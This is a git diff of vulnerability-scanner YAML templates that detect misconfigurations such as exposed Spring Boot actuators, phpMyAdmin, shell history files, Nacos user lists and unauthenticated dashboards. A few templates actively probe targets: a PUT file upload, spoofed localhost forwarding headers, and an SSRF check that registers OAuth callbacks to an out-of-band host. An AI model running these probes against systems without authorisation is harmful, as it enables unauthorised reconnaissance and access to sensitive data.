diff --git a/misconfiguration/php-fpm-status.yaml b/misconfiguration/php-fpm-status.yaml
index e4ba6f56d3..1d1eb52ad1 100644
--- a/misconfiguration/php-fpm-status.yaml
+++ b/misconfiguration/php-fpm-status.yaml
@@ -4,6 +4,7 @@ info:
name: PHP-FPM Status
author: geeknik
severity: info
+ tags: config
requests:
- method: GET
diff --git a/misconfiguration/phpmyadmin-setup.yaml b/misconfiguration/phpmyadmin-setup.yaml
new file mode 100644
index 0000000000..2485003909
--- /dev/null
+++ b/misconfiguration/phpmyadmin-setup.yaml
@@ -0,0 +1,17 @@
+id: phpmyadmin-setup
+
+info:
+ name: phpMyAdmin setup page
+ author: thevillagehacker
+ severity: medium
+ tags: phpmyadmin
+ reference: https://hackerone.com/reports/297339
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/phpmyadmin/setup/index.php"
+ matchers:
+ - type: word
+ words:
+ - "
phpMyAdmin setup "
diff --git a/misconfiguration/phpmyadmin-sql.php-server.yaml b/misconfiguration/phpmyadmin-sql.php-server.yaml
new file mode 100644
index 0000000000..0bb3cbb91c
--- /dev/null
+++ b/misconfiguration/phpmyadmin-sql.php-server.yaml
@@ -0,0 +1,26 @@
+id: phpmyadmin-misconfiguration
+
+info:
+ name: Sensitive data exposure
+ author: pussycat0x
+ severity: high
+ description: Unauthenticated phpmyadmin leads to exposure of sensitive information
+ reference: https://www.exploit-db.com/ghdb/6997
+ tags: phpmyadmin,misconfig
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/phpmyadmin/index.php?db=information_schema"
+ - "{{BaseURL}}/phpMyAdmin/index.php?db=information_schema"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "var db = 'information_schema';"
+ - "var opendb_url = 'db_structure.php';"
+ condition: and
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/pinpoint-unauth.yaml b/misconfiguration/pinpoint-unauth.yaml
new file mode 100644
index 0000000000..566f2dd17c
--- /dev/null
+++ b/misconfiguration/pinpoint-unauth.yaml
@@ -0,0 +1,31 @@
+id: pinpoint-unauth
+
+info:
+ name: PinPoint Unauth
+ author: dhiyaneshDk
+ severity: high
+ reference: https://github.com/pinpoint-apm/pinpoint
+ tags: pippoint,unauth
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/applications.pinpoint'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "applicationName"
+ - "serviceType"
+ condition: and
+ part: body
+
+ - type: word
+ words:
+ - "application/json"
+ part: header
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/private-key-exposure.yaml b/misconfiguration/private-key-exposure.yaml
new file mode 100644
index 0000000000..c478f731a0
--- /dev/null
+++ b/misconfiguration/private-key-exposure.yaml
@@ -0,0 +1,25 @@
+id: private-key-exposure
+
+info:
+ name: Private key exposure via helper detector
+ author: aashiq
+ severity: high
+ description: Searches for private key exposure by attempting to query the helper endpoint on node_modules
+ tags: exposure,node
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/node_modules/mqtt/test/helpers/"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - "Index of /node_modules/mqtt/test/helpers"
+ - "Parent Directory"
+ condition: and
\ No newline at end of file
diff --git a/misconfiguration/put-method-enabled.yaml b/misconfiguration/put-method-enabled.yaml
index 33f999e808..b6ed7e48e9 100644
--- a/misconfiguration/put-method-enabled.yaml
+++ b/misconfiguration/put-method-enabled.yaml
@@ -4,8 +4,8 @@ info:
name: PUT method enabled
author: xElkomy
severity: high
-
-# https://portswigger.net/kb/issues/00100900_http-put-method-is-enabled
+ reference: https://portswigger.net/kb/issues/00100900_http-put-method-is-enabled
+ tags: injection
requests:
- raw:
@@ -13,14 +13,14 @@ requests:
PUT /testing-put.txt HTTP/1.1
Content-Type: text/plain
- testing-payload
+ {{randstr}}
- |
GET /testing-put.txt HTTP/1.1
Content-Type: text/plain
+ req-condition: true
matchers:
- type: dsl
- name: multi-req
dsl:
- - 'contains(body_2, "testing-payload") == true'
+ - 'contains(body_2, "{{randstr}}")'
diff --git a/misconfiguration/rack-mini-profiler.yaml b/misconfiguration/rack-mini-profiler.yaml
index c4fe9d6826..c3443eead7 100644
--- a/misconfiguration/rack-mini-profiler.yaml
+++ b/misconfiguration/rack-mini-profiler.yaml
@@ -4,6 +4,7 @@ info:
name: rack-mini-profiler environmnet information discloure
author: vzamanillo
severity: high
+ tags: config,debug
requests:
- method: GET
diff --git a/misconfiguration/salesforce-aura.yaml b/misconfiguration/salesforce-aura.yaml
index f03243378b..1edfc43a87 100644
--- a/misconfiguration/salesforce-aura.yaml
+++ b/misconfiguration/salesforce-aura.yaml
@@ -5,6 +5,7 @@ info:
author: aaron_costello (@ConspiracyProof)
severity: info
reference: https://www.enumerated.de/index/salesforce
+ tags: aura,unauth,salesforce
requests:
- method: POST
@@ -12,6 +13,7 @@ requests:
- "{{BaseURL}}/aura"
- "{{BaseURL}}/s/sfsites/aura"
- "{{BaseURL}}/sfsites/aura"
+
body: "{}"
matchers:
diff --git a/misconfiguration/sap/sap-directory-listing.yaml b/misconfiguration/sap/sap-directory-listing.yaml
new file mode 100644
index 0000000000..588501a042
--- /dev/null
+++ b/misconfiguration/sap/sap-directory-listing.yaml
@@ -0,0 +1,29 @@
+id: sap-directory-listing
+
+info:
+ name: SAP Directory Listing
+ author: dhiyaneshDK
+ severity: medium
+ tags: sap,listing,misconfig
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/irj/go/km/navigation/'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'title="~system"'
+ - 'NetWeaver'
+ condition: and
+
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - "text/html"
+ part: header
\ No newline at end of file
diff --git a/misconfiguration/sap/sap-netweaver-info-leak.yaml b/misconfiguration/sap/sap-netweaver-info-leak.yaml
new file mode 100644
index 0000000000..9f21c8232d
--- /dev/null
+++ b/misconfiguration/sap/sap-netweaver-info-leak.yaml
@@ -0,0 +1,28 @@
+id: sap-netweaver-info-leak
+
+info:
+ name: SAP NetWeaver ICM Info page leak
+ author: randomstr1ng
+ description: Detection of SAP NetWeaver ABAP Webserver /public/info page
+ severity: medium
+ tags: sap
+ reference: |
+ - https://www.acunetix.com/vulnerabilities/web/sap-icf-sap-public-info-sensitive-information-disclosure/
+ - https://github.com/Jean-Francois-C/SAP-Security-Audit
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/sap/public/info"
+
+ matchers:
+ - type: regex
+ part: body
+ regex:
+ - "RFC_SYSTEM_INFO.Response"
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - ".* "
\ No newline at end of file
diff --git a/misconfiguration/server-status-localhost.yaml b/misconfiguration/server-status-localhost.yaml
index f5916e1911..38755bb670 100644
--- a/misconfiguration/server-status-localhost.yaml
+++ b/misconfiguration/server-status-localhost.yaml
@@ -2,20 +2,24 @@ id: server-status-localhost
info:
name: Server Status Disclosure
- author: pd-team & geeknik
+ author: pdteam,geeknik
severity: low
+ tags: apache,debug
requests:
- method: GET
- # Example of sending some headers to the servers
headers:
+ Forwarded: "127.0.0.1"
X-Client-IP: "127.0.0.1"
- X-Remote-IP: "127.0.0.1"
- X-Remote-Addr: "127.0.0.1"
+ X-Forwarded-By: "127.0.0.1"
X-Forwarded-For: "127.0.0.1"
- X-Originating-IP: "127.0.0.1"
- X-Host: "127.0.0.1"
+ X-Forwarded-For-IP: "127.0.0.1"
X-Forwarded-Host: "127.0.0.1"
+ X-Host: "127.0.0.1"
+ X-Originating-IP: "127.0.0.1"
+ X-Remote-Addr: "127.0.0.1"
+ X-Remote-IP: "127.0.0.1"
+ X-True-IP: "127.0.0.1"
path:
- "{{BaseURL}}/server-status"
matchers:
diff --git a/misconfiguration/shell-history.yaml b/misconfiguration/shell-history.yaml
index 65d1e729b0..cec582f3c6 100644
--- a/misconfiguration/shell-history.yaml
+++ b/misconfiguration/shell-history.yaml
@@ -2,14 +2,15 @@ id: shell-history
info:
name: Shell History
- author: pentest_swissky & geeknik
+ author: pentest_swissky,geeknik
severity: low
description: Discover history for bash, ksh, sh, and zsh
+ tags: config
requests:
- method: GET
redirects: true
- max-redirects: 5
+ max-redirects: 1
path:
- "{{BaseURL}}/.bash_history"
- "{{BaseURL}}/.ksh_history"
@@ -20,7 +21,29 @@ requests:
matchers:
- type: word
words:
+ - "ls"
+ - "mkdir "
- "chmod "
+ - "mv "
+ - "nano "
+ - "vim "
+ - "pico "
+ - "sudo "
+ - "cd "
+ - "cp "
+ - "ps aux "
+ condition: or
+
- type: status
status:
- 200
+
+ - type: word
+ words:
+ - "application/javascript"
+ - "application/json"
+ - "application/xml"
+ - "html>"
+ - "text/html"
+ part: all
+ negative: true
diff --git a/misconfiguration/sidekiq-dashboard.yaml b/misconfiguration/sidekiq-dashboard.yaml
index 2697c836f5..2b3cba9c5e 100644
--- a/misconfiguration/sidekiq-dashboard.yaml
+++ b/misconfiguration/sidekiq-dashboard.yaml
@@ -4,6 +4,7 @@ info:
name: sidekiq-dashboard
author: dhiyaneshDK
severity: medium
+ tags: unauth
requests:
- method: GET
diff --git a/misconfiguration/solr-query-dashboard.yaml b/misconfiguration/solr-query-dashboard.yaml
new file mode 100644
index 0000000000..5c05e06f2e
--- /dev/null
+++ b/misconfiguration/solr-query-dashboard.yaml
@@ -0,0 +1,23 @@
+id: solr-admin-query
+
+info:
+ name: Solr Admin Query Page
+ author: dhiyaneshDK
+ severity: High
+ reference: https://www.exploit-db.com/ghdb/5856
+ tags: solr,unauth
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/admin/'
+ - '{{BaseURL}}/solr/admin/'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'Solr admin page '
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/sonarqube-public-projects.yaml b/misconfiguration/sonarqube-public-projects.yaml
new file mode 100644
index 0000000000..8fbf957e16
--- /dev/null
+++ b/misconfiguration/sonarqube-public-projects.yaml
@@ -0,0 +1,28 @@
+id: sonarqube-public-projects
+
+info:
+ name: Sonarqube with public projects
+ author: sickwell
+ severity: low
+ tags: sonarqube,misconfig
+ reference: https://next.sonarqube.com/sonarqube/web_api/api/components/suggestions?internal=true
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/api/components/suggestions?recentlyBrowsed="
+
+ matchers-condition: and
+ matchers:
+
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - '"results":'
+ - '"items":'
+ - '"more":'
+ part: body
+ condition: and
\ No newline at end of file
diff --git a/misconfiguration/spidercontrol-scada-server-info.yaml b/misconfiguration/spidercontrol-scada-server-info.yaml
new file mode 100644
index 0000000000..68ebd6be19
--- /dev/null
+++ b/misconfiguration/spidercontrol-scada-server-info.yaml
@@ -0,0 +1,30 @@
+id: spidercontrol-scada-server-info
+
+info:
+ name: SpiderControl SCADA Web Server Info Exposure
+ author: geeknik
+ description: Numerous, market-leading OEM manufacturers - from a wide variety of industries - rely on SpiderControl.
+ reference: https://spidercontrol.net/spidercontrol-inside/
+ severity: high
+ tags: spidercontrol,scada,exposure
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/cgi-bin/GetSrvInfo.exe'
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+ - type: word
+ words:
+ - "powered by SpiderControl"
+ - "LSWEBSERVER"
+ - "SCWEBSERVICES"
+ condition: and
+ extractors:
+ - type: kval
+ part: header
+ kval:
+ - Server
diff --git a/misconfiguration/springboot/springboot-autoconfig.yaml b/misconfiguration/springboot/springboot-autoconfig.yaml
new file mode 100644
index 0000000000..36a1d8f251
--- /dev/null
+++ b/misconfiguration/springboot/springboot-autoconfig.yaml
@@ -0,0 +1,28 @@
+id: springboot-autoconfig
+
+info:
+ name: Detect Springboot autoconfig Actuator
+ author: pussycat0x
+ severity: low
+ description: Displays an auto-configuration report showing all auto-configuration candidates and the reason why they 'were' or 'were not' applied.
+ tags: springboot,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/autoconfig"
+ - "{{BaseURL}}/actuator/autoconfig"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - "positiveMatches"
+ - "AuditAutoConfiguration#auditListener"
+ - "EndpointAutoConfiguration#beansEndpoint"
+ condition: and
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/misconfiguration/springboot/springboot-beans.yaml b/misconfiguration/springboot/springboot-beans.yaml
new file mode 100644
index 0000000000..bc42a55309
--- /dev/null
+++ b/misconfiguration/springboot/springboot-beans.yaml
@@ -0,0 +1,36 @@
+id: springboot-beans
+
+info:
+ name: Detect Springboot Beans Actuator
+ author: ajaysenr
+ severity: low
+ description: Displays a complete list of all the Spring beans in the application
+ tags: springboot,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/beans"
+ - "{{BaseURL}}/actuator/beans"
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - '"type"'
+ - '"beans"'
+ - '"dependencies"'
+ - '"scope"'
+ condition: and
+
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - "application/json"
+ - "application/vnd.spring-boot.actuator"
+ - "application/vnd.spring-boot.actuator.v1+json"
+ condition: or
+ part: header
diff --git a/misconfiguration/springboot/springboot-configprops.yaml b/misconfiguration/springboot/springboot-configprops.yaml
index 80d4670abd..35954af39f 100644
--- a/misconfiguration/springboot/springboot-configprops.yaml
+++ b/misconfiguration/springboot/springboot-configprops.yaml
@@ -2,9 +2,10 @@ id: springboot-configprops
info:
name: Detect Springboot Configprops Actuator
- author: that_juan_ & dwisiswant0 & wdahlenb
+ author: that_juan_,dwisiswant0,wdahlenb
severity: low
description: Sensitive environment variables may not be masked
+ tags: springboot,exposure
requests:
- method: GET
diff --git a/misconfiguration/springboot/springboot-dump.yaml b/misconfiguration/springboot/springboot-dump.yaml
new file mode 100644
index 0000000000..5f9cbb3fb3
--- /dev/null
+++ b/misconfiguration/springboot/springboot-dump.yaml
@@ -0,0 +1,31 @@
+id: springboot-dump
+
+info:
+ name: Detect Springboot Dump Actuator
+ author: pussycat0x
+ severity: low
+ description: Performs a thread dump
+ tags: springboot,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/dump"
+ - "{{BaseURL}}/actuator/dump"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - "threadName"
+ - "threadId"
+ - "waitedTime"
+ - "lockName"
+ - "stackTrace"
+ - "methodName"
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/springboot/springboot-env.yaml b/misconfiguration/springboot/springboot-env.yaml
index 232a7ddcd7..3d21191c73 100644
--- a/misconfiguration/springboot/springboot-env.yaml
+++ b/misconfiguration/springboot/springboot-env.yaml
@@ -2,9 +2,10 @@ id: springboot-env
info:
name: Detect Springboot Env Actuator
- author: that_juan_ & dwisiswant0 & wdahlenb
- severity: high
+ author: that_juan_,dwisiswant0,wdahlenb
+ severity: low
description: Sensitive environment variables may not be masked
+ tags: springboot,exposure
requests:
- method: GET
@@ -16,11 +17,17 @@ requests:
- type: word
part: body
words:
- - "JAVA_HOME"
- - "sping.config.location"
- - "spring.application.name"
+ - "applicationConfig"
+ - "activeProfiles"
+ condition: or
+
+ - type: word
+ part: body
+ words:
+ - "server.port"
- "local.server.port"
condition: or
+
- type: status
status:
- 200
diff --git a/misconfiguration/springboot/springboot-health.yaml b/misconfiguration/springboot/springboot-health.yaml
new file mode 100644
index 0000000000..dbae2cba79
--- /dev/null
+++ b/misconfiguration/springboot/springboot-health.yaml
@@ -0,0 +1,28 @@
+id: springboot-health
+
+info:
+ name: Detect Springboot Health Actuator
+ author: pussycat0x
+ severity: info
+ description: Additional routes may be displayed
+ tags: springboot,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/health"
+ - "{{BaseURL}}/actuator/health"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - '"status"'
+ - '"diskSpace"'
+ - '"jms"'
+ condition: and
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/misconfiguration/springboot/springboot-heapdump.yaml b/misconfiguration/springboot/springboot-heapdump.yaml
index 6e544e8135..51a66859dc 100644
--- a/misconfiguration/springboot/springboot-heapdump.yaml
+++ b/misconfiguration/springboot/springboot-heapdump.yaml
@@ -2,17 +2,21 @@ id: springboot-heapdump
info:
name: Detect Springboot Heapdump Actuator
- author: that_juan_ & dwisiswant0 & wdahlenb
+ author: that_juan_,dwisiswant0,wdahlenb
severity: critical
description: Environment variables and HTTP requests can be found in the HPROF
+ tags: springboot,exposure
requests:
- method: GET
path:
- "{{BaseURL}}/heapdump"
- "{{BaseURL}}/actuator/heapdump"
+
+ max-size: 2097152 # 2MB - Max Size to read from server response
matchers-condition: and
matchers:
+
- type: binary
part: body
binary:
@@ -20,19 +24,7 @@ requests:
- "4850524f46" # "HPROF"
- "1f8b080000000000" # Gunzip magic byte
condition: or
+
- type: status
status:
- 200
- - type: word
- words:
- - "application/octet-stream"
- - "application/vnd.spring-boot.actuator"
- - "application/vnd.spring-boot.actuator.v1+json"
- condition: or
- part: header
- - type: dsl
- dsl:
- - "len(body) >= 100000"
- - "content_length >= 100000"
- condition: or
- part: header
diff --git a/misconfiguration/springboot/springboot-httptrace.yaml b/misconfiguration/springboot/springboot-httptrace.yaml
new file mode 100644
index 0000000000..f91a784635
--- /dev/null
+++ b/misconfiguration/springboot/springboot-httptrace.yaml
@@ -0,0 +1,36 @@
+id: springboot-httptrace
+
+info:
+ name: Detect Springboot httptrace
+ author: that_juan_,dwisiswant0,wdahlenb
+ severity: low
+ description: View recent HTTP requests and responses
+ tags: springboot,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/httptrace"
+ - "{{BaseURL}}/actuator/httptrace"
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - '"traces"'
+ - '"timestamp"'
+ - '"principal"'
+ - '"session"'
+ condition: and
+
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - "application/json"
+ - "application/vnd.spring-boot.actuator"
+ - "application/vnd.spring-boot.actuator.v1+json"
+ condition: or
+ part: header
diff --git a/misconfiguration/springboot/springboot-loggers.yaml b/misconfiguration/springboot/springboot-loggers.yaml
index 87d02229a9..fb001dfd39 100644
--- a/misconfiguration/springboot/springboot-loggers.yaml
+++ b/misconfiguration/springboot/springboot-loggers.yaml
@@ -2,8 +2,9 @@ id: springboot-loggers
info:
name: Detect Springboot Loggers
- author: that_juan_ & dwisiswant0 & wdahlenb
+ author: that_juan_,dwisiswant0,wdahlenb
severity: low
+ tags: springboot,exposure
requests:
- method: GET
@@ -17,8 +18,8 @@ requests:
part: body
words:
- '"loggers"'
- - '"profiles":'
- condition: or
+ - '"levels"'
+ condition: and
- type: status
status:
diff --git a/misconfiguration/springboot/springboot-mappings.yaml b/misconfiguration/springboot/springboot-mappings.yaml
index 17e058f3e4..c6b4f9bfef 100644
--- a/misconfiguration/springboot/springboot-mappings.yaml
+++ b/misconfiguration/springboot/springboot-mappings.yaml
@@ -2,9 +2,10 @@ id: springboot-mappings
info:
name: Detect Springboot Mappings Actuator
- author: that_juan_ & dwisiswant0 & wdahlenb
+ author: that_juan_,dwisiswant0,wdahlenb
severity: low
description: Additional routes may be displayed
+ tags: springboot,exposure
requests:
- method: GET
diff --git a/misconfiguration/springboot/springboot-metrics.yaml b/misconfiguration/springboot/springboot-metrics.yaml
new file mode 100644
index 0000000000..775e89ff38
--- /dev/null
+++ b/misconfiguration/springboot/springboot-metrics.yaml
@@ -0,0 +1,32 @@
+id: springboot-metrics
+
+info:
+ name: Detect Springboot metrics Actuator
+ author: pussycat0x
+ severity: low
+ description: Additional routes may be displayed
+ tags: springboot,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/metrics"
+ - "{{BaseURL}}/actuator/metrics"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - "mem"
+ - "mem.free"
+ - "processors"
+ - "instance.uptime"
+ - "systemload.average"
+ - "nonheap.init"
+ - "heap.committed"
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/springboot/springboot-trace.yaml b/misconfiguration/springboot/springboot-trace.yaml
index 39905444e1..f46ae43eec 100644
--- a/misconfiguration/springboot/springboot-trace.yaml
+++ b/misconfiguration/springboot/springboot-trace.yaml
@@ -2,30 +2,31 @@ id: springboot-trace
info:
name: Detect Springboot Trace Actuator
- author: that_juan_ & dwisiswant0 & wdahlenb
+ author: that_juan_,dwisiswant0,wdahlenb
severity: low
description: View recent HTTP requests and responses
+ tags: springboot,exposure
requests:
- method: GET
path:
- "{{BaseURL}}/trace"
- - "{{BaseURL}}/actuator/trace"
- - "{{BaseURL}}/httptrace"
- - "{{BaseURL}}/actuator/httptrace"
+
matchers-condition: and
matchers:
- type: word
part: body
words:
- - "traces"
- - "response"
- - "request"
- - "principal"
- condition: or
+ - '"timestamp"'
+ - '"info"'
+ - '"method"'
+ - '"path"'
+ condition: and
+
- type: status
status:
- 200
+
- type: word
words:
- "application/json"
diff --git a/misconfiguration/ssrf-via-oauth-misconfig.yaml b/misconfiguration/ssrf-via-oauth-misconfig.yaml
new file mode 100644
index 0000000000..5efd759888
--- /dev/null
+++ b/misconfiguration/ssrf-via-oauth-misconfig.yaml
@@ -0,0 +1,35 @@
+id: ssrf-via-oauth-misconfig
+
+info:
+ name: SSRF due to misconfiguration in OAuth
+ author: KabirSuda
+ severity: medium
+ description: Sends a POST request with the endpoint "/connect/register" to check external Interaction with multiple POST parameters.
+ tags: misconfig,oob,oauth
+ reference: https://portswigger.net/research/hidden-oauth-attack-vectors
+
+requests:
+ - raw:
+ - |
+ POST /connect/register HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/json
+ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
+ Accept-Language: en-US,en;q=0.9
+ Connection: close
+
+ {
+ "application_type": "web",
+ "redirect_uris": ["https://{{interactsh-url}}/callback"],
+ "client_name": "{{Hostname}}",
+ "logo_uri": "https://{{interactsh-url}}/favicon.ico",
+ "subject_type": "pairwise",
+ "token_endpoint_auth_method": "client_secret_basic",
+ "request_uris": ["https://{{interactsh-url}}"]
+ }
+
+ matchers:
+ - type: word
+ part: interactsh_protocol # Confirms the DNS Interaction
+ words:
+ - "dns"
\ No newline at end of file
diff --git a/misconfiguration/symfony-debugmode.yaml b/misconfiguration/symfony-debugmode.yaml
index 4524db03d7..e9dae3427f 100644
--- a/misconfiguration/symfony-debugmode.yaml
+++ b/misconfiguration/symfony-debugmode.yaml
@@ -1,24 +1,29 @@
id: symfony-debugmode
+
info:
name: Symfony Debug Mode
- author: organiccrap
+ author: organiccrap,pdteam
severity: high
- description: todo
- # reference: https://github.com/synacktiv/eos
+ description: The remote Symfony installations appears to have left the 'debug' interface enabled, allowing the disclosure and possible execution of arbitrary code.
+ reference: https://github.com/synacktiv/eos
+ tags: symfony,debug
+
requests:
- method: GET
path:
- '{{BaseURL}}'
- headers:
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
- matchers-condition: and
+
+ matchers-condition: or
matchers:
- - type: status
- status:
- - 200
+
- type: word
words:
- 'X-Debug-Token-Link:'
- - /_profiler/
+ - '/_profiler/'
part: header
condition: and
+
+ - type: word
+ words:
+ - 'debug mode is enabled.'
+ part: body
\ No newline at end of file
diff --git a/misconfiguration/tcpconfig.yaml b/misconfiguration/tcpconfig.yaml
new file mode 100644
index 0000000000..283f9b86d7
--- /dev/null
+++ b/misconfiguration/tcpconfig.yaml
@@ -0,0 +1,23 @@
+id: tcpconfig
+
+info:
+ name: TCP Config Information Exposed
+ author: dhiyaneshDK
+ severity: low
+ reference: https://www.exploit-db.com/ghdb/6782
+ tags: logs
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/tcpconfig.html"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "TCP/IP Configuration"
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/tomcat-scripts.yaml b/misconfiguration/tomcat-scripts.yaml
index ab8e80021a..16226c2852 100644
--- a/misconfiguration/tomcat-scripts.yaml
+++ b/misconfiguration/tomcat-scripts.yaml
@@ -4,6 +4,7 @@ info:
name: Detect Tomcat Exposed Scripts
author: Co0nan
severity: info
+ tags: apache
requests:
- method: GET
diff --git a/misconfiguration/unauthenticated-alert-manager.yaml b/misconfiguration/unauthenticated-alert-manager.yaml
new file mode 100644
index 0000000000..f4b978d825
--- /dev/null
+++ b/misconfiguration/unauthenticated-alert-manager.yaml
@@ -0,0 +1,23 @@
+id: unauthenticated-alert-manager
+
+info:
+ name: Unauthenticated Alert Manager
+ author: dhiyaneshDK
+ severity: high
+ reference: https://www.shodan.io/search?query=http.title%3A%22Alertmanager%22
+ tags: unauth,alertmanager
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/#/alerts"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'Alertmanager '
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/unauthenticated-glances.yaml b/misconfiguration/unauthenticated-glances.yaml
new file mode 100644
index 0000000000..b486511351
--- /dev/null
+++ b/misconfiguration/unauthenticated-glances.yaml
@@ -0,0 +1,25 @@
+id: unauthenticated-glances
+
+info:
+ name: Glances Unauthenticated Panel
+ author: remonsec
+ severity: low
+ description: Glance running web server mode & Unauthenticated leads system monitoring to info disclosure
+ reference: https://glances.readthedocs.io/en/latest/quickstart.html#how-to-protect-your-server-or-web-server-with-a-login-password
+ tags: exposure
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}'
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ part: body
+ words:
+ - "Monitor "
\ No newline at end of file
diff --git a/misconfiguration/unauthenticated-mongo-express.yaml b/misconfiguration/unauthenticated-mongo-express.yaml
new file mode 100644
index 0000000000..75cdbc0890
--- /dev/null
+++ b/misconfiguration/unauthenticated-mongo-express.yaml
@@ -0,0 +1,23 @@
+id: unauthenticated-mongo-express.yaml
+
+info:
+ name: Mongo Express Unauthenticated
+ author: dhiyaneshDK
+ severity: high
+ reference: https://www.exploit-db.com/ghdb/5684
+ tags: mongo,unauth
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}'
+ - '{{BaseURL}}/mongo-express/'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'Home - Mongo Express '
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/unauthenticated-nacos-access.yaml b/misconfiguration/unauthenticated-nacos-access.yaml
index 516f1b6254..02ab564941 100644
--- a/misconfiguration/unauthenticated-nacos-access.yaml
+++ b/misconfiguration/unauthenticated-nacos-access.yaml
@@ -1,30 +1,35 @@
id: unauthenticated-nacos-access
info:
- name: Unauthenticated Nacos access
- author: taielab
+ name: Unauthenticated Nacos access v1.x
+ author: taielab,pikpikcu
severity: critical
-
- # References:
- # - https://github.com/alibaba/nacos/issues/4593
+ issues: https://github.com/alibaba/nacos/issues/4593
+ tags: nacos,unauth
requests:
- - raw:
- - |
- GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1
- Host: {{Hostname}}
- User-Agent: Nacos-Server
- Content-Length: 2
+ - method: GET
+ path:
+ - "{{BaseURL}}/nacos/v1/auth/users?pageNo=1&pageSize=9"
+ - "{{BaseURL}}/v1/auth/users?pageNo=1&pageSize=9"
+ headers:
+ User-Agent: Nacos-Server
matchers-condition: and
matchers:
+
+ - type: word
+ words:
+ - "Content-Type: application/json"
+ part: header
+
- type: regex
regex:
- '"username":'
- '"password":'
- - '"totalCount":'
- condition: and
part: body
+ condition: and
+
- type: status
status:
- 200
diff --git a/misconfiguration/unauthenticated-netdata.yaml b/misconfiguration/unauthenticated-netdata.yaml
new file mode 100644
index 0000000000..8891415b48
--- /dev/null
+++ b/misconfiguration/unauthenticated-netdata.yaml
@@ -0,0 +1,30 @@
+id: unauthenticated-netdata
+
+info:
+ name: Unauthenticated Netdata
+ author: dhiyaneshDk
+ severity: medium
+ reference: https://github.com/netdata/netdata
+ tags: netdata,unauth,misconfig
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/api/v1/data?chart=system.cpu&format=json&points=125&group=average>ime=0&options=ms%7Cflip%7Cjsonwrap%7Cnonzero&after=-120&dimensions=iowait"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - "view_update_every"
+ - "dimensions"
+ condition: and
+
+ - type: word
+ words:
+ - "application/json"
+ part: header
\ No newline at end of file
diff --git a/misconfiguration/unauthenticated-popup-upload.yaml b/misconfiguration/unauthenticated-popup-upload.yaml
new file mode 100644
index 0000000000..5234018c6e
--- /dev/null
+++ b/misconfiguration/unauthenticated-popup-upload.yaml
@@ -0,0 +1,24 @@
+id: unauthenticated-popup-upload
+
+info:
+ name: Unauthenticated Popup File Uploader
+ author: DhiyaneshDk
+ severity: info
+ reference: https://www.exploit-db.com/ghdb/6671
+ tags: fileupload
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/RichWidgets/Popup_Upload.aspx"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Popup Upload"
+ part: body
+
